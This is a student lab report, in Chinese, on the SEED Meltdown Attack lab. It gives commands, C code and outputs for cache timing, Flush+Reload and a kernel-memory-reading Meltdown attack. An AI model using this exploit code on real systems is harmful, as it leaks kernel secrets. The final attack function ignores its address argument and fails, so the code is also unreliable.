实 验 报 告

Meltdown Attack

课程名称	软件安全
学　　院	计算机科学技术学院
专　　业	信息安全
姓　　名	冉津豪
学　　号	17307130179

开 课 时 间 2019 至 2020 学年第 二 学期

目录

Task 1: Reading from Cache versus from Memory

编译 CacheTime.c 并执行 10 次。-march=native 编译器启用本地机器支持的所有指令子集。

```
gcc -march=native -o CacheTime CacheTime.c
for ((i=0; i<=9; i++)) do ./CacheTime >> log; done
```

可以看见，访问 array[3*4096]和 array[7*4096]的时间明显要少。

```
Access time for array[0*4096]: 763 CPU cycles
Access time for array[1*4096]: 171 CPU cycles
Access time for array[2*4096]: 154 CPU cycles
Access time for array[3*4096]: 27 CPU cycles
Access time for array[4*4096]: 147 CPU cycles
Access time for array[5*4096]: 150 CPU cycles
Access time for array[6*4096]: 157 CPU cycles
Access time for array[7*4096]: 28 CPU cycles
Access time for array[8*4096]: 160 CPU cycles
Access time for array[9*4096]: 146 CPU cycles
Access time for array[0*4096]: 761 CPU cycles
Access time for array[1*4096]: 152 CPU cycles
Access time for array[2*4096]: 150 CPU cycles
Access time for array[3*4096]: 28 CPU cycles
Access time for array[4*4096]: 153 CPU cycles
Access time for array[5*4096]: 160 CPU cycles
Access time for array[6*4096]: 154 CPU cycles
Access time for array[7*4096]: 28 CPU cycles
Access time for array[8*4096]: 148 CPU cycles
Access time for array[9*4096]: 156 CPU cycles
Access time for array[0*4096]: 811 CPU cycles
Access time for array[1*4096]: 156 CPU cycles
Access time for array[2*4096]: 154 CPU cycles
Access time for array[3*4096]: 33 CPU cycles
Access time for array[4*4096]: 152 CPU cycles
Access time for array[5*4096]: 152 CPU cycles
Access time for array[6*4096]: 158 CPU cycles
Access time for array[7*4096]: 33 CPU cycles
Access time for array[8*4096]: 148 CPU cycles
Access time for array[9*4096]: 148 CPU cycles
Access time for array[0*4096]: 798 CPU cycles
Access time for array[1*4096]: 159 CPU cycles
Access time for array[2*4096]: 508 CPU cycles
Access time for array[3*4096]: 30 CPU cycles
Access time for array[4*4096]: 154 CPU cycles
Access time for array[5*4096]: 148 CPU cycles
Access time for array[6*4096]: 162 CPU cycles
Access time for array[7*4096]: 29 CPU cycles
Access time for array[8*4096]: 153 CPU cycles
Access time for array[9*4096]: 150 CPU cycles
Access time for array[0*4096]: 777 CPU cycles
Access time for array[1*4096]: 597 CPU cycles
Access time for array[2*4096]: 157 CPU cycles
Access time for array[3*4096]: 30 CPU cycles
```

Task 2: Using Cache as a Side Channel

编译 FlushReload.c 并执行 20 次。

```
gcc -march=native -o FlushReload FlushReload.c
for ((i=0; i<=19; i++)) do ./FlushReload >> log1; done
```

从结果看，20 次准得到正确的 Secret，CACHE HIT THRESHOLD 也没必要再调节。

```
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

Task 3: Place Secret Data in Kernel Space

make，安装 module，获得 secret data 地址 。

```
make
sudo insmod MeltdownKernel.ko
dmesg | grep 'secret data address'
```

```
[06/13/20]seed@VM:~/.../Meltdown_Attack$ dmesg | grep 'secret data address'
[  608.739096] secret data address:f9b65000
```

Task 4: Access Kernel Memory from User Space

创建文件 kernel.c，放入代码访问该地址，编译并执行。

```c
int main()
{
    char *kernel_data_addr = (char*)0xf9b65000;
    char kernel_data = *kernel_data_addr;
    printf("I have reached here.\n");
    return 0;
}
```

```
touch kernel.c

gcc -march=native -o kernel kernel.c
./kernel
```

访问失败，遭遇段错误。

```
[06/13/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o kernel kernel.c
[06/13/20]seed@VM:~/.../Meltdown_Attack$ ./kernel
Segmentation fault
```

Task 5: Handle Error/Exceptions in C

修改程序中的地址为 Task4 中得到的地址。编译并执行 ExceptionHandling，程序没有因段错误而终止。

```
gcc -march=native -o ExceptionHandling ExceptionHandling.c
./ExceptionHandling
```

```
[06/13/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o ExceptionHandling
ExceptionHandling.c
[06/13/20]seed@VM:~/.../Meltdown_Attack$ ./ExceptionHandling
Memory access violation!
Program continues to execute.
```

Task 6: Out-of-Order Execution by CPU

修改程序中的地址为 Task4 中得到的地址。编译并执行 MeltdownExperiment，程序利用 out-of-order，成功获得 secret = 7。

```
gcc -march=native -o MeltdownExperiment MeltdownExperiment.c
./MeltdownExperiment
```

```
[06/13/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
[06/13/20]seed@VM:~/.../Meltdown_Attack$
```

Task 7: The Basic Meltdown Attack

- **Task 7.1: A Naive Approach**

直接修改 array[7 * 4096 + DELTA]为 array[kernel data * 4096 + DELTA]。重新编译执行，无法得到已经在 cache 中的数据，这有可能是将数据从内存中缓存之前，便产生了错误，导致 out-of-order 并没有发生，所以没有相应的数据被缓存。

```
[06/13/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
[06/13/20]seed@VM:~/.../Meltdown_Attack$
```

- **Task 7.2: Improve the Attack by Getting the Secret Data Cached**

在 main 函数中提前打开文件，目的是使得更早拿到 kernel_data，完成 out-of-order，使得该块 array 被放到缓存中，但结果仍旧失败。

```
int fd = open("/proc/secret_data", O_RDONLY);
if (fd < 0) {
    perror("open");
    return -1;
}
int ret = pread(fd, NULL, 0, 0);
```

- **Task 7.3: Using Assembly Code to Trigger Meltdown**

将 meltdown 函数替换为 meltdown_asm。将 max 的起始条件从 0 改为 1。理论上应该能完成。减少循环数可能导致时间拖延不足，和 7.2 的结果一致。

Task 8: Make the Attack More Practical

将 main()函数部分替换，使得对于 secret_data 处的连续 8 个地址进行攻击，将结果保存到 buf 中，完成后打印。

```c
int attack(unsigned long addr)
{
  int i, j, ret = 0;

  int fd = open("/proc/secret_data", O_RDONLY);
  if (fd < 0) {
    perror("open");
    return -1;
  }

  memset(scores, 0, sizeof(scores));
  flushSideChannel();


  // Retry 1000 times on the same address.
  for (i = 0; i < 1000; i++) {
    ret = pread(fd, NULL, 0, 0);
    if (ret < 0) {
      perror("pread");
      break;
    }

    // Flush the probing array
    for (j = 0; j < 256; j++)
        _mm_clflush(&array[j * 4096 + DELTA]);

    if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xf9b65000 ); }

    reloadSideChannelImproved();
  }

  // Find the index with the highest score.
  int max = 1;
  for (i = 1; i < 256; i++) {
    if (scores[max] < scores[i]) max = i;
  }

  printf("The secret value is %d %c\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
  return max;
```

```c
}
int main(){
    // Register signal handler
  signal(SIGSEGV, catch_segv);
  int i;
  unsigned long addr = 0xf9b65000;
  char buf[8];
  for(i = 0; i < 8; i++){
      buf[i] = attack(addr+i);
  }
  printf("%s\n",buf);
  return 0;
}
```

```
[06/13/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
The secret value is 1
The number of hits is 0
The secret value is 1
The number of hits is 0
The secret value is 1
The number of hits is 0
The secret value is 1
The number of hits is 0
The secret value is 1
The number of hits is 0
The secret value is 1
The number of hits is 0
The secret value is 1
The number of hits is 0
The secret value is 1
The number of hits is 0

[06/13/20]seed@VM:~/.../Meltdown_Attack$
```